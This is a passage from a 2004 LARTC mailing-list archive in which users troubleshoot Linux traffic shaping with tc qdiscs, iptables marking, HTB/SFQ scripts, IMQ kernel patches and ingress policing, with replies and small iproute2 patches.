I've created an root PRIO qdisc like the example in paragraph 9.5.3.1
(http://www.lartc.org/howto/lartc.qdisc.classful.html#AEN903) with three
SFQ child-classes.

I wanted for interactive (ssh, telnet, ftp-control) and dns-traffic to
be placed in the first queue, http should go in the second and all the
other traffic should be placed in the third queue.

For those interested these are the commands issued:
#create the queues
tc qdisc add dev eth0 root handle 1: prio
tc qdisc add dev eth0 parent 1:1 handle 10: sfq
tc qdisc add dev eth0 parent 1:2 handle 20: sfq
tc qdisc add dev eth0 parent 1:3 handle 30: sfq
#add the filters
tc filter add dev eth0 parent 1:0 protocol ip prio 1 handle 1 fw classid
1:10
tc filter add dev eth0 parent 1:0 protocol ip prio 2 handle 2 fw classid
1:20
tc filter add dev eth0 parent 1:0 protocol ip prio 3 handle 3 fw classid
1:30

Next I created some iptables rules for marking
#Traffic for band #1
iptables -t mangle -A PREROUTING -p tcp --sport 22 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p tcp --sport 22 -j RETURN
iptables -t mangle -A PREROUTING -p tcp --sport 23 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p tcp --sport 23 -j RETURN
iptables -t mangle -A PREROUTING -p tcp --sport 21 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p tcp --sport 21 -j RETURN
iptables -t mangle -A PREROUTING -p tcp --sport 53 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p tcp --dport 53 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p udp --sport 53 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p udp --dport 53 -j MARK --set-mark
0x1
iptables -t mangle -A PREROUTING -p tcp --sport 53 -j RETURN
iptables -t mangle -A PREROUTING -p tcp --dport 53 -j RETURN
iptables -t mangle -A PREROUTING -p udp --sport 53 -j RETURN
iptables -t mangle -A PREROUTING -p udp --dport 53 -j RETURN
#HTTP traffic should go to band #2
iptables -t mangle -A PREROUTING -p tcp --sport 80 -j MARK --set-mark
0x2
iptables -t mangle -A PREROUTING -p tcp --sport 80 -j RETURN
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j MARK --set-mark
0x2
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j RETURN
#All others should go to band #3
iptables -t mangle -A PREROUTING -j MARK --set-mark 0x3
iptables -t mangle -A PREROUTING -j RETURN

I'd have thought that should do the trick but when I issue the command:
tc -s qdisc ls dev eth0

I got this as the output:
qdisc sfq 30: quantum 1514b
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)

 qdisc sfq 20: quantum 1514b
 Sent 37645739 bytes 63959 pkts (dropped 0, overlimits 0)

 qdisc sfq 10: quantum 1514b
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)

 qdisc prio 1: bands 3 priomap  1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1
 Sent 37671714 bytes 64170 pkts (dropped 0, overlimits 0)


As you can see all the traffic goes to 20: while it shouldn't. I thought
that iptables would mark the traffic and the tc filter commands should
direct traffic to the appropriate band.

What am I doing wrong?


Thank you for your time

Jonathan Maasland


From sistemas@systemwifi.com  Wed Oct 20 16:18:02 2004
From: sistemas@systemwifi.com (sistemas)
Date: Wed, 20 Oct 2004 17:18:02 +0200
Subject: [LARTC] Unable to handle kernel paging request at virtual address
Message-ID: <KMS-458318357-1304@mailserv>


Hi all:

I am getting this error message in my syslog after a few hours of running=
 my QoS.

First i suposed it was a memory sims problem, but i have changed them and=
 i have the same problem.

Here is the error message:

Oct 20 16:52:23 pototogorri /usr/bin/sudo:   apache : TTY=3Dunknown ; PWD=
=3D/var/www/html ; USER=3Droot ; COMMAND=3D/sbin/iptables -t nat -D PRERO=
UTI
Oct 20 16:52:23 pototogorri /usr/bin/sudo:   apache : TTY=3Dunknown ; PWD=
=3D/var/www/html ; USER=3Droot ; COMMAND=3D/scripts/data/rw_all_qos
Oct 20 16:52:24 pototogorri kernel: HTB init, kernel part version 3.17
Oct 20 16:52:24 pototogorri last message repeated 2 times
Oct 20 16:52:24 pototogorri kernel: Unable to handle kernel paging reques=
t at virtual address 00100100
Oct 20 16:52:24 pototogorri kernel:  printing eip:
Oct 20 16:52:24 pototogorri kernel: c0267fb4
Oct 20 16:52:24 pototogorri kernel: *pde =3D 00000000
Oct 20 16:52:24 pototogorri kernel: Oops: 0000 [#1]
Oct 20 16:52:24 pototogorri kernel: Modules linked in: cls_fw ipt_MARK id=
e_floppy ide_tape sch_sfq sch_htb iptable_mangle sg sr_mod ide_cd cd
Oct 20 16:52:24 pototogorri kernel: CPU:    0
Oct 20 16:52:24 pototogorri kernel: EIP:    0060:[<c0267fb4>]    Not tain=
ted
Oct 20 16:52:24 pototogorri kernel: EFLAGS: 00010206   (2.6.8.1)    
Oct 20 16:52:24 pototogorri kernel: EIP is at qdisc_lookup+0x34/0x50
Oct 20 16:52:24 pototogorri kernel: eax: 001000d4   ebx: 001000d4   ecx: =
dcc16914   edx: 00100100
Oct 20 16:52:24 pototogorri kernel: esi: 00010000   edi: 00010000   ebp: =
c4c99c38   esp: c4c99c30
Oct 20 16:52:24 pototogorri kernel: ds: 007b   es: 007b   ss: 0068
Oct 20 16:52:24 pototogorri kernel: Process tc (pid: 9749, threadinfo=3Dc=
4c98000 task=3Dc40aa190)
Oct 20 16:52:24 pototogorri kernel: Stack: c155b6b0 dcc16800 c4c99c80 c02=
68a62 dcc16800 00010000 d364b734 00000000
Oct 20 16:52:24 pototogorri kernel:        000005c8 dd416000 0000000a 000=
00000 00000000 ffffffff dcc16800 dd416000
Oct 20 16:52:24 pototogorri kernel:        00000010 c8ebc7e0 00000048 c4c=
99cb0 c4c99cfc c0262297 c8ebc7e0 c155b6a0
Oct 20 16:52:24 pototogorri kernel: Call Trace:
Oct 20 16:52:24 pototogorri kernel:  [<c010707b>] show_stack+0x9b/0xb0
Oct 20 16:52:24 pototogorri kernel:  [<c01071cb>] show_registers+0x11b/0x=
180
Oct 20 16:52:24 pototogorri kernel:  [<c0107310>] die+0x50/0xb0
Oct 20 16:52:24 pototogorri kernel:  [<c0117280>] do_page_fault+0x330/0x5=
b8
Oct 20 16:52:24 pototogorri kernel:  [<c0106cbd>] error_code+0x2d/0x40
Oct 20 16:52:24 pototogorri kernel:  [<c0268a62>] tc_modify_qdisc+0x102/0=
x450 
Oct 20 16:52:24 pototogorri kernel:  [<c0262297>] rtnetlink_rcv+0x347/0x3=
b0   
Oct 20 16:52:24 pototogorri kernel:  [<c026c3c4>] netlink_data_ready+0x54=
/0x60
Oct 20 16:52:24 pototogorri kernel:  [<c026baca>] netlink_sendskb+0x6a/0x=
90  
Oct 20 16:52:24 pototogorri kernel:  [<c026c0a9>] netlink_sendmsg+0x1f9/0=
x2c0
Oct 20 16:52:24 pototogorri kernel:  [<c0253078>] sock_sendmsg+0x88/0xb0 =
    
Oct 20 16:52:24 pototogorri kernel:  [<c0254696>] sys_sendmsg+0x196/0x210=
    
Oct 20 16:52:24 pototogorri kernel:  [<c0254960>] sys_socketcall+0x80/0x1=
a0  
Oct 20 16:52:24 pototogorri kernel:  [<c0105c79>] sysenter_past_esp+0x52/=
0x79


 Here is the content of the script that write my QoS:

rw_all_qos:

#!/bin/bash
#borrar la raiz y la tabla mangle

#/sbin/tc qdisc del root dev eth5
#/sbin/iptables -t mangle -F

#crear las regas base 
#                              !!!!!!!!!!!!!ATENCION!!!!!!!!!!!!!! 
#                  LA SEGUNDA DE ESTAS REGLAS ESTABLECE EL ANCHO DE BANDA=
 TOTAL DEL LA RED

#/usr/bin/sudo -u root /sbin/tc qdisc add dev eth5 root handle 1: htb def=
ault 5
#/usr/bin/sudo -u root /sbin/tc class add dev eth5 parent 1: classid 1:1 =
htb rate 10000Kbit ceil 10000Kbit
#/usr/bin/sudo -u root /sbin/tc class add dev eth5 parent 1:1 classid 1:5=
 htb rate 10000Kbit ceil 10000Kbit
#/usr/bin/sudo -u root /sbin/tc qdisc add dev eth5 parent 1:5 handle 5: s=
fq

#Declaracion de variables

#declaramos la interfaz de red local
devlan=3Deth5

#Seleccionamos los campos dev e ip de la base de  datos
sql=3D`mysql -uwifi -psystem -D wifi -Ns -e "SELECT dev,ip FROM dispositi=
vos;"`
#separamos el primer campo del resultado de la sentencia Sql con awk y lo=
 metemos en la variable dispositivos
dispositivos=3D`echo "$sql" | awk '{print $1}'`
#separamos el segundo campo del resultado de la sentencia Sql con awk y l=
o metemos en la variable ips
ips=3D`echo "$sql" | awk '{print $2}'
#transformamos dispositivos en un array`
dispositivos=3D(`echo $dispositivos`)
#transformamos ips en un array
ips=3D(`echo $ips`)
#contamos el numero de elementos de nuestro array
num_dispositivos=3D${#dispositivos[*]}
#restamos 1 para que el array empiece en 0
let num_dispositivos-=3D1
#visualizamos los dispositivos
#for n in `seq 0 $num_dispositivos`
#do
#=09echo interfaz:${dispositivos[$n]} ip:${ips[$n]}
#done

#Seleccionamos de las tablas usuarios y online los campos abajo indicados=

sql=3D`mysql -uwifi -psystem -D wifi -Ns -e "SELECT usuarios.id,usuarios.=
max, usuarios.min, usuarios.upload, online.ip FROM usuarios,online WHERE =
usuarios.id=3Donline.id_usuario;"`
#conseguir ids
ids=3D`echo "$sql" | awk '{print $1}'`
#transformar los datos en array
ids=3D(`echo $ids`)
#numero de elementos en el array
num_ids=3D${#ids[*]}
#restamos 1 para que el array empiece en 0
let num_ids-=3D1

#conseguir maximos de descarga
max=3D`echo "$sql" | awk '{print $2}'`
#transformar los datos en array
max=3D(`echo $max`)

#conseguir minimos de descarga
min=3D`echo "$sql" | awk '{print $3}'`
min=3D(`echo $min`)

#conseguir maximo de subida
upload=3D`echo "$sql" | awk '{print $4}'`
upload=3D(`echo $upload`)

#conseguir ips de usuarios
ips_user=3D`echo "$sql" | awk '{print $5}'`
ips_user=3D(`echo $ips_user`)

#Mostramos por pantalla los resultados de manera ordenada
#for n in `seq 0 $num_ids`
#do
#=09echo id usuario: ${ids[$n]} \|\| maximo: ${max[$n]} \|\| minimo: ${mi=
n[$n]} \|\| upload: ${upload[$n]} \|\|  Ip Usuario: #${ips_user[$n]}  
#done


#borrar la raiz y la tabla mangle
tc qdisc del root dev eth5
/sbin/iptables -t mangle -F

#crear las regas base 
#                              !!!!!!!!!!!!!ATENCION!!!!!!!!!!!!!! 
#                  LA SEGUNDA DE ESTAS REGLAS ESTABLECE EL ANCHO DE BANDA=
 TOTAL DEL LA RED

/sbin/tc qdisc add dev $devlan root handle 1: htb default 5
/sbin/tc class add dev $devlan parent 1: classid 1:1 htb rate 10000Kbit c=
eil 10000Kbit
/sbin/tc class add dev $devlan parent 1:1 classid 1:5 htb rate 10000Kbit =
ceil 10000Kbit
/sbin/tc qdisc add dev $devlan parent 1:5 handle 5: sfq


# y ahora creamos las reglas
for n in  ` seq 0 $num_dispositivos`
do
=09dispositivo=3D${dispositivos[$n]}
=09tc qdisc del root dev $dispositivo 
=09tc qdisc add dev $dispositivo root handle 1: htb default 5
=09tc class add dev $dispositivo parent 1: classid 1:1 htb rate 512Kbit c=
eil 512Kbit 
=09tc class add dev $dispositivo parent 1:1 classid 1:5 htb rate 512Kbit =
ceil 512Kbit
=09tc qdisc add dev $dispositivo parent 1:5 handle 5: sfq
=09#echo ${dispositivos[$n]}
done

# llamar al script encargado de crear las reglas para cada usuario y pasa=
r el id, max, min y upload correspondiente al mismo

for n in `seq 0 $num_ids`
do
=09/scripts/data/rw_user_qos.sh ${ids[$n]} ${min[$n]} ${max[$n]} ${upload=
[$n]} $devlan ${ips_user[$n]} =09
done
#echo Todo correcto



Any Idea?

Thnx in advance.

Servicio ofrecido por www.systemwifi.com


From fezzy4real@yahoo.com  Wed Oct 20 17:00:45 2004
From: fezzy4real@yahoo.com (festus omeke)
Date: Wed, 20 Oct 2004 09:00:45 -0700 (PDT)
Subject: [LARTC] How to start
In-Reply-To: <tvzovhnpyqqwjhlwrcw@mailman.ds9a.nl>
Message-ID: <20041020160045.13208.qmail@web20821.mail.yahoo.com>

--0-472158628-1098288045=:12771
Content-Type: text/plain; charset=us-ascii


Hello All,

I am a newbie in linux, i want to learn how to configure a traffic shaper, i have a  linux caching server workin already on my network, i will like to know the rpm i need to install b4 starting.

please if there is any one that can help, tell me step by step, what rpm needs to be installed and 1st step to take.

Regards,

Festus

		
---------------------------------
Do you Yahoo!?
vote.yahoo.com - Register online to vote today!
--0-472158628-1098288045=:12771
Content-Type: text/html; charset=us-ascii

<P>Hello All,</P>
<P>I am a newbie in linux, i want to learn how to configure a traffic shaper, i have a&nbsp; linux caching server workin already on my network, i will like to know the rpm i need to install b4 starting.</P>
<P>please if there is any one that can help, tell me step by step, what rpm needs to be installed and 1st step to take.</P>
<P>Regards,</P>
<P>Festus</P><p>
		<hr size=1>Do you Yahoo!?<br><a
href="http://vote.yahoo.com">vote.yahoo.com</a> - Register online to vote today!
--0-472158628-1098288045=:12771--

From shemminger@osdl.org  Wed Oct 20 17:15:54 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Wed, 20 Oct 2004 09:15:54 -0700
Subject: [LARTC] Re: [ANNOUNCE] iproute2 2.6.9-041019
In-Reply-To: <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
References: <41758014.4080502@osdl.org>
 <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
Message-ID: <20041020091554.57e60936@zqx3.pdx.osdl.net>

Try this, ss was dragging in byteorder.h and it didn't need to.

diff -Nru a/misc/ss.c b/misc/ss.c
--- a/misc/ss.c	2004-10-20 09:13:56 -07:00
+++ b/misc/ss.c	2004-10-20 09:13:56 -07:00
@@ -33,7 +33,6 @@
 #include "libnetlink.h"
 #include "SNAPSHOT.h"
 
-#include <asm/byteorder.h>
 #include <linux/tcp.h>
 #include <linux/tcp_diag.h>
 

From shemminger@osdl.org  Wed Oct 20 17:18:46 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Wed, 20 Oct 2004 09:18:46 -0700
Subject: [LARTC] Re: [ANNOUNCE] iproute2 2.6.9-041019
In-Reply-To: <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
References: <41758014.4080502@osdl.org>
 <Pine.LNX.4.61.0410200805110.8475@boston.corp.fedex.com>
Message-ID: <20041020091846.5151604e@zqx3.pdx.osdl.net>

Similar problem to ss in iptunnel. It was including asm/byteorder.h
a kernel header that it didn't need to.

diff -Nru a/ip/iptunnel.c b/ip/iptunnel.c
--- a/ip/iptunnel.c	2004-10-20 09:18:36 -07:00
+++ b/ip/iptunnel.c	2004-10-20 09:18:36 -07:00
@@ -26,7 +26,6 @@
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <sys/ioctl.h>
-#include <asm/byteorder.h>
 #include <linux/if.h>
 #include <linux/if_arp.h>
 #include <linux/ip.h>

From jasonb@edseek.com  Wed Oct 20 17:19:29 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Wed, 20 Oct 2004 12:19:29 -0400
Subject: [LARTC] Unable to handle kernel paging request at virtual address
In-Reply-To: <KMS-458318357-1304@mailserv>
References: <KMS-458318357-1304@mailserv>
Message-ID: <200410201219.29652.jasonb@edseek.com>

On Wednesday 20 October 2004 11:18, sistemas wrote:
> Hi all:
>
> I am getting this error message in my syslog after a few hours of running
> my QoS.
>
<snip>
> Oct 20 16:52:24 pototogorri kernel: Unable to handle kernel paging request
> at virtual address 00100100 Oct 20 16:52:24 pototogorri kernel:  printing
> eip:
> Oct 20 16:52:24 pototogorri kernel: c0267fb4
> Oct 20 16:52:24 pototogorri kernel: *pde = 00000000
> Oct 20 16:52:24 pototogorri kernel: Oops: 0000 [#1]

I had to upgrade to 2.6.9 to resolve my Oops.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From hariett.jones@wp.pl  Wed Oct 20 15:27:19 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Wed, 20 Oct 2004 16:27:19 +0200
Subject: [LARTC] up and down shaping based on IP
Message-ID: <417675C7.4080207@wp.pl>

Hello, i have a server (486sx and 16ram). It gives me this error :
NETDEVICE WATCHDOG eth1 : ...timeout.
I checked in many places for solutions. Even wrote to this mailinglist. 
But lately i recived information, that too much upload
may mix my adsl modem up. So..... my question is how should my script 
look while the situation is :
eth0 - connected to adsl modem and thus to internet
eth1 - connected to 16port switch which supplies internet to 12 other 
computers.
dsl connection is 1000/256 kbit/s

Please correct my script to include upload control. Every host should 
have equal speed.

> bernard@gecon:~$ cat /etc/rc.d/rc.htb
> #!/bin/sh
> CLIENTS="01 05 07 11 12 13 15 18 19 20 21 22"
> htb_start() {
>   echo "tc qdisc add dev eth1 root handle 1: htb default 12"
>   tc qdisc add dev eth1 root handle 1: htb default 12
>   echo "tc qdisc add dev eth0 root handle 2: tbf rate 200kbit latency 
> 50ms burst  1540"
>   tc qdisc add dev eth0 root handle 2: tbf rate 230kbit latency 50ms 
> burst 1540
>   echo "tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit 
> ceil 1000k bit"
>   tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit ceil 
> 1000kbit
>  
>   echo "Ustawianie klas"
>    
>   for IP in $CLIENTS; do
>     tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 80kbit 
> ceil 1000k bit cburst 1kbit
>   done
>  
> #dla nie zakwalifikowanych
>   tc class add dev eth1 parent 1:1 classid 1:100 htb rate 50kbit ceil 
> 50kbit qua ntum 4
>  
>   echo "Ustawianie filtrów i SFQ"
>  
>   for IP in $CLIENTS; do
>     tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip 
> dst 192.168 .0.1${IP} flowid 1:1${IP}
>     tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq perturb 10
>   done
>   tc filter add dev eth1 protocol ip parent 1: prio 3 u32 match ip dst 
> 192.168.0 .0/24 flowid 1:100
> }
>  
> htb_stop() {
>   echo "tc qdisc del dev eth1 root"
>   tc qdisc del dev eth1 root
>   echo "tc qdisc del dev eth0 root"
>   tc qdisc del dev eth0 root
> }
>  
> case "$1" in
> 'start')
>   htb_start
>   ;;
> 'stop')
>   htb_stop
>   ;;
> 'restart')
>   htb_stop
>   htb_start
>   ;;
> *)
>   echo "usage $0 start|stop|restart"




From Mario Ramos <marioramosramos@gmail.com>  Wed Oct 20 21:20:52 2004
From: Mario Ramos <marioramosramos@gmail.com> (Mario Ramos)
Date: Wed, 20 Oct 2004 15:20:52 -0500
Subject: [LARTC] structure has no member named `imq_flags`
Message-ID: <9ed808350410201320272d73ac@mail.gmail.com>

hi

When compile kernel 2.6.8.1 with imq patch the following message is print:

net/ipv4/netfilter/ipt_IMQ.c: In function `imq_target':
net/ipv4/netfilter/ipt_IMQ.c:19: error: structure has no member named
`imq_flags'

what is that?
when patch the kernel no problem message.
the patch is linux-2.6.8-imq-3.diff
i'm scan in google but nothing found

Thanks

From karl@webmedianow.com  Wed Oct 20 21:24:12 2004
From: karl@webmedianow.com (Karl J Rink)
Date: Wed, 20 Oct 2004 13:24:12 -0700 (PDT)
Subject: [LARTC] throttle particular client ip
Message-ID: <33861.66.185.167.94.1098303852.squirrel@66.185.167.94>

I know this will be trivial for most, but I am having trouble with getting
my scenario to work correctly.  I want to 'tag' and 'throttle' the
bandwidth to and from a particular client on my lan side.  Better yet, I
just want to throttle smtp traffic, per say, for that ip.


----lan----------eth1-[linux.box]-eth0----------internet

I have used the technique provided by smueller@chronox.de and his
limit.conn-0.2 perl script, which basically does the following:

  iptables --append PREROUTING --in-interface eth0 --table mangle \
            --protocol tcp --source $SERVERIP \
            --source-port $SERVERPORT --jump MARK --set-mark 0x1

  tc qdisc add dev eth0 handle ffff: ingress

  tc filter add dev eth0 parent ffff: protocol ip prio 50 handle \
  0x1 fw police rate 1kbit burst 1500 mtu 9k drop flowid :0x1


This works great!  But all clients on the lan side are throttled for what
ever $SERVERIP and $SERVERPORT that are marked.

I have yet to be able to syntactially provide the reversal onto a client.

And, I'm not even sure if I need to utilize iptables for what I want to do?
And, If iptables are needed for the 'marking' of the traffic, would I use
the POSTROUTING (which I've tried)?

I'm thinking that simply utilizing tc on the linux.box for a particular
interface (either eth0 or eth1) should work, but have not had luck in this
saga thus far.

Any help, advice, direction, will be apprecicated.

Also to note, as a newbie to tc, htb seems to be the most utilized in the
mail threads.  And the man pages for tc mention (and your lartc.org
howto's) say cbq is more for link sharing.

Thank you for your time and consideration,
--Karl



MailKey: GUINNESS

From andre.correa@pobox.com  Wed Oct 20 21:44:41 2004
From: andre.correa@pobox.com (Andre Correa)
Date: Wed, 20 Oct 2004 18:44:41 -0200
Subject: [LARTC] structure has no member named `imq_flags`
In-Reply-To: <9ed808350410201320272d73ac@mail.gmail.com>
References: <9ed808350410201320272d73ac@mail.gmail.com>
Message-ID: <4176CE39.4090100@pobox.com>

Hi Mario, are you sure that:

CONFIG_IMQ
and
CONFIG_IP_NF_TARGET_IMQ

are enabled (module or built-in) in you kernel config?

Andre


Mario Ramos wrote:
> hi
> 
> When compile kernel 2.6.8.1 with imq patch the following message is print:
> 
> net/ipv4/netfilter/ipt_IMQ.c: In function `imq_target':
> net/ipv4/netfilter/ipt_IMQ.c:19: error: structure has no member named
> `imq_flags'
> 
> what is that?
> when patch the kernel no problem message.
> the patch is linux-2.6.8-imq-3.diff
> i'm scan in google but nothing found
> 
> Thanks
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 
> 


From Mario Ramos <marioramosramos@gmail.com>  Wed Oct 20 23:20:16 2004
From: Mario Ramos <marioramosramos@gmail.com> (Mario Ramos)
Date: Wed, 20 Oct 2004 17:20:16 -0500
Subject: [LARTC] structure has no member named `imq_flags`
In-Reply-To: <4176CE39.4090100@pobox.com>
References: <9ed808350410201320272d73ac@mail.gmail.com>
 <4176CE39.4090100@pobox.com>
Message-ID: <9ed808350410201520471acdb8@mail.gmail.com>

Thanks,  
the problem is over

On Wed, 20 Oct 2004 18:44:41 -0200, Andre Correa <andre.correa@pobox.com> wrote:
> 
> Hi Mario, are you sure that:
> 
> CONFIG_IMQ
> and
> CONFIG_IP_NF_TARGET_IMQ
> 
> are enabled (module or built-in) in you kernel config?
> 
> Andre
> 
> 
> 
> 
> Mario Ramos wrote:
> > hi
> >
> > When compile kernel 2.6.8.1 with imq patch the following message is print:
> >
> > net/ipv4/netfilter/ipt_IMQ.c: In function `imq_target':
> > net/ipv4/netfilter/ipt_IMQ.c:19: error: structure has no member named
> > `imq_flags'
> >
> > what is that?
> > when patch the kernel no problem message.
> > the patch is linux-2.6.8-imq-3.diff
> > i'm scan in google but nothing found
> >
> > Thanks
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> >
> >
> 
>

From karl@webmedianow.com  Wed Oct 20 23:37:29 2004
From: karl@webmedianow.com (Karl J Rink)
Date: Wed, 20 Oct 2004 15:37:29 -0700 (PDT)
Subject: [LARTC] throttle particular client ip
In-Reply-To: <4176D82D.3080101@t-online.de>
References: <33861.66.185.167.94.1098303852.squirrel@66.185.167.94>
 <4176D82D.3080101@t-online.de>
Message-ID: <33883.66.185.167.94.1098311849.squirrel@66.185.167.94>

Thank you, this is what I have so far...
client 172.24.5.32 is downloading
ftp://download.fedora.redhat.com/pub/fedora/linux/core/2/i386/iso/FC2-i386-DVD.iso
average speed is ~ 135 kB/s via ncftp

on linux.box>
sh rc.throttleServer download.fedora.redhat.com 21
and clients download continues to drop, decline, it basically works.
-----------------------------------------------------------------
cat rc.throttleServer
#!/bin/sh
# Date: Tue Oct 19 11:41:10 PDT 2004

CMDNAME=`basename $0`

if [ ! $1 ]; then
        echo "no IPADDR"
        echo "Useage: $0 IPADDR PORT"
        exit 0
fi

if [ ! $2 ]; then
        echo "no PORT"
        echo "Useage: $0 IPADDR PORT"
        exit 0
fi

IPTABLES=/sbin/iptables
DEV=eth0
SERVERIP=$1
SERVERPORT=$2:65535
LIMIT=1kbit
HANDLE=0x1
TC=/sbin/tc


  ###############################################################
  # tag all incoming SYN packets through $DEV as mark value 1
  ###############################################################

  $IPTABLES --append PREROUTING --in-interface $DEV --table mangle \
            --protocol tcp --source $SERVERIP \
            --source-port $SERVERPORT --jump MARK --set-mark $HANDLE

  ############################################################
  # install the ingress qdisc on the ingress interface
  ############################################################
  $TC qdisc add dev $DEV handle ffff: ingress 2>/dev/null


  ############################################################
  # utilize ingress qdisc
  ############################################################
  $TC filter add dev $DEV parent ffff: protocol ip prio 50 handle \
  $HANDLE fw police rate $LIMIT burst 1500 mtu 9k drop flowid :$HANDLE

--------------------------------------------------------------------------
details:
iptables -nL -t mangle
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
MARK       tcp  --  209.132.176.20       0.0.0.0/0          tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  209.132.176.220      0.0.0.0/0          tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  209.132.176.221      0.0.0.0/0          tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  66.187.224.20        0.0.0.0/0          tcp
spts:21:65535 MARK set 0x1

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination

tc -s qdisc
qdisc ingress ffff: dev eth0 ----------------
 Sent 44458 bytes 238 pkts (dropped 23, overlimits 0)

########################################################################

but, with the newer revised iptables syntax, I do not seem to be marking
properly?, because tc never reports a 'dropped' packet.  And it basically
does not work...

sh rc.throttleS+C download.fedora.redhat.com 21 172.24.5.32
--------------------------------------------------------------------
cat rc.throttleS+C
#!/bin/sh
# Date: Wed Oct 20 15:32:53 PDT 2004

CMDNAME=`basename $0`

if [ ! $1 ]; then
        echo "no SERVERIP"
        echo "Useage: $0 SERVERIP PORT LANCLIENT"
        exit 0
fi

if [ ! $2 ]; then
        echo "no PORT"
        echo "Useage: $0 SERVERIP PORT LANCLIENT"
        exit 0
fi

if [ ! $3 ]; then
        echo "no LANCLIENT"
        echo "Useage: $0 SERVERIP PORT LANCLIENT"
        exit 0
fi

IPTABLES=/sbin/iptables
DEV=eth0
SERVERIP=$1
SERVERPORT=$2:65535
LANCLIENT=$3
LIMIT=1kbit
HANDLE=0x1
HANDLE2=0x2
TC=/sbin/tc


  ###############################################################
  # tag all incoming SYN packets through $DEV as mark value 1
  ###############################################################

  $IPTABLES --append PREROUTING --in-interface eth0 --table mangle \
            --protocol tcp --source $SERVERIP \
            --source-port $SERVERPORT \
            --destination $LANCLIENT \
            --jump MARK --set-mark $HANDLE

  $IPTABLES --append PREROUTING --in-interface eth1 --table mangle \
            --protocol tcp --destination $SERVERIP \
            --destination-port $SERVERPORT --source $LANCLIENT \
            --jump MARK --set-mark $HANDLE2

  ############################################################
  # install the ingress qdisc on the ingress interface
  ############################################################
  $TC qdisc add dev $DEV handle ffff: ingress 2>/dev/null
  $TC qdisc add dev eth1 handle ffff: ingress 2>/dev/null


  ############################################################
  # utilize ingress qdisc
  ############################################################
  $TC filter add dev $DEV parent ffff: protocol ip prio 50 handle \
  $HANDLE fw police rate $LIMIT burst 1500 mtu 9k drop flowid :$HANDLE

  $TC filter add dev eth1 parent ffff: protocol ip prio 50 handle \
  $HANDLE fw police rate $LIMIT burst 1500 mtu 9k drop flowid :$HANDLE2

---------------------------------------------------------------------
some details:
tc -s qdisc
qdisc ingress ffff: dev eth0 ----------------
 Sent 12955351 bytes 9145 pkts (dropped 0, overlimits 0)

 qdisc ingress ffff: dev eth1 ----------------
 Sent 267129 bytes 6408 pkts (dropped 0, overlimits 0)

iptables -nL -t mangle
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
MARK       tcp  --  209.132.176.220      172.24.5.32        tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  209.132.176.221      172.24.5.32        tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  66.187.224.20        172.24.5.32        tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  209.132.176.20       172.24.5.32        tcp
spts:21:65535 MARK set 0x1
MARK       tcp  --  172.24.5.32          209.132.176.221    tcp
dpts:21:65535 MARK set 0x2
MARK       tcp  --  172.24.5.32          66.187.224.20      tcp
dpts:21:65535 MARK set 0x2
MARK       tcp  --  172.24.5.32          209.132.176.20     tcp
dpts:21:65535 MARK set 0x2
MARK       tcp  --  172.24.5.32          209.132.176.220    tcp
dpts:21:65535 MARK set 0x2

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
#######################################################################
#######################################################################

i'm thinking of moving on to just the tc tbf cmds...  I seem to be having
luck with that a bit, just need to figure out how to 'tc tbf' a specific
ip addr and not worry about iptables mangle cmds??

tc qdisc add dev eth0 root tbf rate 1bps latency 50ms burst 1540

--Karl




> Karl J Rink schrieb:
>> I know this will be trivial for most, but I am having trouble with
>> getting
>> my scenario to work correctly.  I want to 'tag' and 'throttle' the
>> bandwidth to and from a particular client on my lan side.  Better yet, I
>> just want to throttle smtp traffic, per say, for that ip.
>>
>>
>> ----lan----------eth1-[linux.box]-eth0----------internet
>>
>> I have used the technique provided by smueller@chronox.de and his
>> limit.conn-0.2 perl script, which basically does the following:
>>
>>   iptables --append PREROUTING --in-interface eth0 --table mangle \
>>             --protocol tcp --source $SERVERIP \
